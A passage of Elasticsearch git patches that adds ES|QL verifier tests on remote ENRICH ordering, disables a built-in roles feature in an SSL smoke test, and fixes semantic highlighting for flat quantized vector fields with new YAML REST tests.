+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
@@ -28,6 +28,7 @@
 import org.elasticsearch.xpack.esql.parser.EsqlParser;
 import org.elasticsearch.xpack.esql.parser.QueryParam;
 import org.elasticsearch.xpack.esql.parser.QueryParams;
+import org.elasticsearch.xpack.esql.plan.logical.Enrich;
 
 import java.util.ArrayList;
 import java.util.LinkedHashMap;
@@ -37,9 +38,13 @@
 import java.util.Map;
 import java.util.Set;
 
+import static org.elasticsearch.xpack.core.enrich.EnrichPolicy.MATCH_TYPE;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_CFG;
+import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_VERIFIER;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.paramAsConstant;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.withDefaultLimitWarning;
+import static org.elasticsearch.xpack.esql.analysis.AnalyzerTestUtils.defaultLookupResolution;
+import static org.elasticsearch.xpack.esql.analysis.AnalyzerTestUtils.loadEnrichPolicyResolution;
 import static org.elasticsearch.xpack.esql.analysis.AnalyzerTestUtils.loadMapping;
 import static org.elasticsearch.xpack.esql.core.type.DataType.BOOLEAN;
 import static org.elasticsearch.xpack.esql.core.type.DataType.CARTESIAN_POINT;
@@ -2220,6 +2225,140 @@ public void testFullTextFunctionsInStats() {
         }
     }
 
+    public void testRemoteEnrichAfterLookupJoin() {
+        EnrichResolution enrichResolution = new EnrichResolution();
+        loadEnrichPolicyResolution(
+            enrichResolution,
+            Enrich.Mode.REMOTE,
+            MATCH_TYPE,
+            "languages",
+            "language_code",
+            "languages_idx",
+            "mapping-languages.json"
+        );
+        var analyzer = AnalyzerTestUtils.analyzer(
+            loadMapping("mapping-default.json", "test"),
+            defaultLookupResolution(),
+            enrichResolution,
+            TEST_VERIFIER
+        );
+
+        String lookupCommand = randomBoolean() ? "LOOKUP JOIN test_lookup ON languages" : "LOOKUP JOIN languages_lookup ON language_code";
+
+        query(Strings.format("""
+            FROM test
+            | EVAL language_code = languages
+            | ENRICH _remote:languages ON language_code
+            | %s
+            """, lookupCommand), analyzer);
+
+        String err = error(Strings.format("""
+            FROM test
+            | EVAL language_code = languages
+            | %s
+            | ENRICH _remote:languages ON language_code
+            """, lookupCommand), analyzer);
+        assertThat(err, containsString("4:3: ENRICH with remote policy can't be executed after LOOKUP JOIN"));
+
+        err = error(Strings.format("""
+            FROM test
+            | EVAL language_code = languages
+            | %s
+            | ENRICH _remote:languages ON language_code
+            | %s
+            """, lookupCommand, lookupCommand), analyzer);
+        assertThat(err, containsString("4:3: ENRICH with remote policy can't be executed after LOOKUP JOIN"));
+
+        err = error(Strings.format("""
+            FROM test
+            | EVAL language_code = languages
+            | %s
+            | EVAL x = 1
+            | MV_EXPAND language_code
+            | ENRICH _remote:languages ON language_code
+            """, lookupCommand), analyzer);
+        assertThat(err, containsString("6:3: ENRICH with remote policy can't be executed after LOOKUP JOIN"));
+    }
+
+    public void testRemoteEnrichAfterCoordinatorOnlyPlans() {
+        EnrichResolution enrichResolution = new EnrichResolution();
+        loadEnrichPolicyResolution(
+            enrichResolution,
+            Enrich.Mode.REMOTE,
+            MATCH_TYPE,
+            "languages",
+            "language_code",
+            "languages_idx",
+            "mapping-languages.json"
+        );
+        loadEnrichPolicyResolution(
+            enrichResolution,
+            Enrich.Mode.COORDINATOR,
+            MATCH_TYPE,
+            "languages",
+            "language_code",
+            "languages_idx",
+            "mapping-languages.json"
+        );
+        var analyzer = AnalyzerTestUtils.analyzer(
+            loadMapping("mapping-default.json", "test"),
+            defaultLookupResolution(),
+            enrichResolution,
+            TEST_VERIFIER
+        );
+
+        query("""
+            FROM test
+            | EVAL language_code = languages
+            | ENRICH _remote:languages ON language_code
+            | STATS count(*) BY language_name
+            """, analyzer);
+
+        String err = error("""
+            FROM test
+            | EVAL language_code = languages
+            | STATS count(*) BY language_code
+            | ENRICH _remote:languages ON language_code
+            """, analyzer);
+        assertThat(err, containsString("4:3: ENRICH with remote policy can't be executed after STATS"));
+
+        err = error("""
+            FROM test
+            | EVAL language_code = languages
+            | STATS count(*) BY language_code
+            | EVAL x = 1
+            | MV_EXPAND language_code
+            | ENRICH _remote:languages ON language_code
+            """, analyzer);
+        assertThat(err, containsString("6:3: ENRICH with remote policy can't be executed after STATS"));
+
+        query("""
+            FROM test
+            | EVAL language_code = languages
+            | ENRICH _remote:languages ON language_code
+            | ENRICH _coordinator:languages ON language_code
+            """, analyzer);
+
+        err = error("""
+            FROM test
+            | EVAL language_code = languages
+            | ENRICH _coordinator:languages ON language_code
+            | ENRICH _remote:languages ON language_code
+            """, analyzer);
+        assertThat(err, containsString("4:3: ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
+
+        err = error("""
+            FROM test
+            | EVAL language_code = languages
+            | ENRICH _coordinator:languages ON language_code
+            | EVAL x = 1
+            | MV_EXPAND language_name
+            | DISSECT language_name "%{foo}"
+            | ENRICH _remote:languages ON language_code
+            """, analyzer);
+        assertThat(err, containsString("7:3: ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
+    }
+
     private void checkFullTextFunctionsInStats(String functionInvocation) {
         query("from test | stats c = max(id) where " + functionInvocation, fullTextAnalyzer);
         query("from test | stats c = max(id) where " + functionInvocation + " or length(title) > 10", fullTextAnalyzer);

From 770131d6a804c69a0eb8bcf0fff22fd4c15e4937 Mon Sep 17 00:00:00 2001
From: Richard Dennehy <richard.dennehy@elastic.co>
Date: Fri, 18 Jul 2025 18:15:52 +0100
Subject: [PATCH 189/299] Disable queryable built-in feature for
 smoke-test-plugins-ssl (#131523) (#131544)

---
 x-pack/qa/smoke-test-plugins-ssl/build.gradle | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/x-pack/qa/smoke-test-plugins-ssl/build.gradle b/x-pack/qa/smoke-test-plugins-ssl/build.gradle
index cbd837fc2ccf6..03e67bdf0dd4b 100644
--- a/x-pack/qa/smoke-test-plugins-ssl/build.gradle
+++ b/x-pack/qa/smoke-test-plugins-ssl/build.gradle
@@ -83,6 +83,8 @@ testClusters.matching { it.name == "yamlRestTest" }.configureEach {
   user username: "test_user", password: "x-pack-test-password"
   user username: "monitoring_agent", password: "x-pack-test-password", role: "remote_monitoring_agent"
 
+  systemProperty 'es.queryable_built_in_roles_enabled', 'false'
+
   pluginPaths.each { pluginPath ->
     plugin pluginPath
   }

From 72bd4d9f5bc7a4e5ebbc1cc9e8f5831ea08489a0 Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Fri, 18 Jul 2025 14:02:57 -0400
Subject: [PATCH 190/299] Fix semantic highlighting bug on flat quantized
 fields (#131525) (#131549)

* Fix semantic highlighting bug on flat quantized fields

* Update docs/changelog/131525.yaml

(cherry picked from commit 90699d3cc31f8a943b60b130c104a7bac920652c)

# Conflicts:
#	x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
---
 docs/changelog/131525.yaml                    |   6 +
 .../xpack/inference/InferenceFeatures.java    |   4 +-
 .../highlight/SemanticTextHighlighter.java    |   3 +
 .../90_semantic_text_highlighter.yml          | 288 ++++++++++++++----
 .../90_semantic_text_highlighter_bwc.yml      | 287 ++++++++++++++---
 5 files changed, 486 insertions(+), 102 deletions(-)
 create mode 100644 docs/changelog/131525.yaml

diff --git a/docs/changelog/131525.yaml b/docs/changelog/131525.yaml
new file mode 100644
index 0000000000000..233c4ff643643
--- /dev/null
+++ b/docs/changelog/131525.yaml
@@ -0,0 +1,6 @@
+pr: 131525
+summary: Fix semantic highlighting bug on flat quantized fields
+area: Highlighting
+type: bug
+issues:
+ - 131443
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
index 5589e46275979..8d91d3e14d181 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
@@ -41,6 +41,7 @@ public class InferenceFeatures implements FeatureSpecification {
     );
     private static final NodeFeature SEMANTIC_TEXT_MATCH_ALL_HIGHLIGHTER = new NodeFeature("semantic_text.match_all_highlighter");
     private static final NodeFeature COHERE_V2_API = new NodeFeature("inference.cohere.v2");
+    public static final NodeFeature SEMANTIC_TEXT_HIGHLIGHTING_FLAT = new NodeFeature("semantic_text.highlighter.flat_index_options");
 
     @Override
     public Set<NodeFeature> getTestFeatures() {
@@ -70,7 +71,8 @@ public Set<NodeFeature> getTestFeatures() {
             SEMANTIC_TEXT_EXCLUDE_SUB_FIELDS_FROM_FIELD_CAPS,
             SEMANTIC_TEXT_INDEX_OPTIONS,
             COHERE_V2_API,
-            SEMANTIC_QUERY_REWRITE_INTERCEPTORS_PROPAGATE_BOOST_AND_QUERY_NAME_FIX
+            SEMANTIC_QUERY_REWRITE_INTERCEPTORS_PROPAGATE_BOOST_AND_QUERY_NAME_FIX,
+            SEMANTIC_TEXT_HIGHLIGHTING_FLAT
         );
     }
 }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/highlight/SemanticTextHighlighter.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/highlight/SemanticTextHighlighter.java
index 92333a10c4d08..8e55cc9c222b5 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/highlight/SemanticTextHighlighter.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/highlight/SemanticTextHighlighter.java
@@ -32,6 +32,7 @@
 import org.elasticsearch.search.fetch.subphase.highlight.HighlightField;
 import org.elasticsearch.search.fetch.subphase.highlight.HighlightUtils;
 import org.elasticsearch.search.fetch.subphase.highlight.Highlighter;
+import org.elasticsearch.search.vectors.DenseVectorQuery;
 import org.elasticsearch.search.vectors.SparseVectorQueryWrapper;
 import org.elasticsearch.search.vectors.VectorData;
 import org.elasticsearch.xcontent.Text;
@@ -273,6 +274,8 @@ public void visitLeaf(Query query) {
                     queries.add(fieldType.createExactKnnQuery(VectorData.fromBytes(knnQuery.getTargetCopy()), null));
                 } else if (query instanceof MatchAllDocsQuery) {
                     queries.add(new MatchAllDocsQuery());
+                } else if (query instanceof DenseVectorQuery.Floats floatsQuery) {
+                    queries.add(fieldType.createExactKnnQuery(VectorData.fromFloats(floatsQuery.getQuery()), null));
                 }
             }
         });
diff --git a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter.yml b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter.yml
index 021dfe320d78e..60dea800ca624 100644
--- a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter.yml
+++ b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter.yml
@@ -35,6 +35,23 @@ setup:
             }
           }
 
+  - do:
+      inference.put:
+        task_type: text_embedding
+        inference_id: dense-inference-id-compatible-with-bbq
+        body: >
+          {
+            "service": "text_embedding_test_service",
+            "service_settings": {
+              "model": "my_model",
+              "dimensions": 64,
+              "similarity": "cosine",
+              "api_key": "abc64"
+            },
+            "task_settings": {
+            }
+          }
+
   - do:
       indices.create:
         index: test-sparse-index
@@ -70,7 +87,7 @@ setup:
         id: doc_1
         body:
           title: "Elasticsearch"
-          body: ["ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!"]
+          body: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
         refresh: true
 
   - do:
@@ -89,14 +106,14 @@ setup:
         index: test-dense-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
-              another_body: {}
+              another_body: { }
 
-  - match:      { hits.total.value: 1 }
-  - match:      { hits.hits.0._id: "doc_1" }
-  - not_exists:   hits.hits.0.highlight.another_body
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - not_exists: hits.hits.0.highlight.another_body
 
 ---
 "Highlighting using a sparse embedding model":
@@ -114,10 +131,10 @@ setup:
                 type: "semantic"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
   - do:
       search:
@@ -133,11 +150,11 @@ setup:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       search:
@@ -154,10 +171,10 @@ setup:
                 order: "score"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
   - do:
       search:
@@ -196,10 +213,10 @@ setup:
                 type: "semantic"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
 
   - do:
       search:
@@ -215,11 +232,11 @@ setup:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       search:
@@ -236,10 +253,10 @@ setup:
                 order: "score"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
 
   - do:
       search:
@@ -256,17 +273,17 @@ setup:
                 order: "score"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
-  - match:  { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
 ---
 "Default highlighter for fields":
   - requires:
-        cluster_features: "semantic_text.highlighter.default"
-        reason: semantic text field defaults to the semantic highlighter
+      cluster_features: "semantic_text.highlighter.default"
+      reason: semantic text field defaults to the semantic highlighter
 
   - do:
       search:
@@ -281,11 +298,11 @@ setup:
                 order: "score"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
-  - match:  { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
 ---
 "semantic highlighter ignores non-inference fields":
@@ -306,8 +323,8 @@ setup:
                 type: semantic
                 number_of_fragments: 2
 
-  - match:      { hits.total.value: 1 }
-  - match:      { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - not_exists: hits.hits.0.highlight.title
 
 ---
@@ -333,7 +350,7 @@ setup:
         index: test-multi-chunk-index
         id: doc_1
         body:
-          semantic_text_field: ["some test data", "    ", "now with chunks"]
+          semantic_text_field: [ "some test data", "    ", "now with chunks" ]
         refresh: true
 
   - do:
@@ -367,25 +384,25 @@ setup:
         index: test-sparse-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               body:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       search:
         index: test-dense-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               body:
@@ -432,18 +449,18 @@ setup:
         index: test-index-sparse
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               semantic_text_field:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.semantic_text_field: 2 }
-  - match:  { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
-  - match:  { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
+  - match: { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
+  - match: { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
 
   - do:
       indices.create:
@@ -473,7 +490,7 @@ setup:
         index: test-index-dense
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               semantic_text_field:
@@ -485,3 +502,172 @@ setup:
   - length: { hits.hits.0.highlight.semantic_text_field: 2 }
   - match: { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
   - match: { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
+
+---
+"Highlighting with flat quantization index options":
+  - requires:
+      cluster_features: "semantic_text.highlighter.flat_index_options"
+      reason: semantic highlighter fix for flat index options
+
+  - do:
+      indices.create:
+        index: test-dense-index-flat
+        body:
+          settings:
+            index.mapping.semantic_text.use_legacy_format: false
+          mappings:
+            properties:
+              flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: flat
+              int4_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int4_flat
+              int8_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int8_flat
+              bbq_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id-compatible-with-bbq
+                index_options:
+                  dense_vector:
+                    type: bbq_flat
+
+
+  - do:
+      index:
+        index: test-dense-index-flat
+        id: doc_1
+        body:
+          flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int4_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int8_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          bbq_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+        refresh: true
+
+  - do:
+      search:
+        index: test-dense-index-flat
+        body:
+          query:
+            match_all: { }
+          highlight:
+            fields:
+              flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int4_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int8_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              bbq_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - length: { hits.hits.0.highlight: 4 }
+  - length: { hits.hits.0.highlight.flat_field: 1 }
+  - match: { hits.hits.0.highlight.flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int4_flat_field: 1 }
+  - match: { hits.hits.0.highlight.int4_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int8_flat_field: 1 }
+  - match: { hits.hits.0.highlight.int8_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.bbq_flat_field: 1 }
+  - match: { hits.hits.0.highlight.bbq_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+
+---
+"Highlighting with HNSW quantization index options":
+  - requires:
+      cluster_features: "semantic_text.highlighter.flat_index_options"
+      reason: semantic highlighter fix for flat index options
+
+  - do:
+      indices.create:
+        index: test-dense-index-hnsw
+        body:
+          settings:
+            index.mapping.semantic_text.use_legacy_format: false
+          mappings:
+            properties:
+              hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: hnsw
+              int4_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int4_hnsw
+              int8_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int8_hnsw
+              bbq_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id-compatible-with-bbq
+                index_options:
+                  dense_vector:
+                    type: bbq_hnsw
+
+
+  - do:
+      index:
+        index: test-dense-index-hnsw
+        id: doc_1
+        body:
+          hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int4_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int8_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          bbq_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+        refresh: true
+
+  - do:
+      search:
+        index: test-dense-index-hnsw
+        body:
+          query:
+            match_all: { }
+          highlight:
+            fields:
+              hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int4_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int8_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              bbq_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - length: { hits.hits.0.highlight: 4 }
+  - length: { hits.hits.0.highlight.hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int4_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.int4_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int8_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.int8_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.bbq_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.bbq_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+
diff --git a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter_bwc.yml b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter_bwc.yml
index 1e874d60a016c..4675977842973 100644
--- a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter_bwc.yml
+++ b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/90_semantic_text_highlighter_bwc.yml
@@ -35,6 +35,23 @@ setup:
             }
           }
 
+  - do:
+      inference.put:
+        task_type: text_embedding
+        inference_id: dense-inference-id-compatible-with-bbq
+        body: >
+          {
+            "service": "text_embedding_test_service",
+            "service_settings": {
+              "model": "my_model",
+              "dimensions": 64,
+              "similarity": "cosine",
+              "api_key": "abc64"
+            },
+            "task_settings": {
+            }
+          }
+
   - do:
       indices.create:
         index: test-sparse-index
@@ -65,12 +82,12 @@ setup:
 ---
 "Highlighting empty field":
   - do:
-        index:
-          index: test-dense-index
-          id: doc_1
-          body:
-            body: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
-          refresh: true
+      index:
+        index: test-dense-index
+        id: doc_1
+        body:
+          body: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+        refresh: true
 
   - match: { result: created }
 
@@ -79,14 +96,14 @@ setup:
         index: test-dense-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
-              another_body: {}
+              another_body: { }
 
-  - match:      { hits.total.value: 1 }
-  - match:      { hits.hits.0._id: "doc_1" }
-  - not_exists:   hits.hits.0.highlight.another_body
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - not_exists: hits.hits.0.highlight.another_body
 
 ---
 "Highlighting using a sparse embedding model":
@@ -95,7 +112,7 @@ setup:
         index: test-sparse-index
         id: doc_1
         body:
-          body: ["ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!"]
+          body: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
         refresh: true
 
   - match: { result: created }
@@ -114,10 +131,10 @@ setup:
                 type: "semantic"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
   - do:
       search:
@@ -133,11 +150,11 @@ setup:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
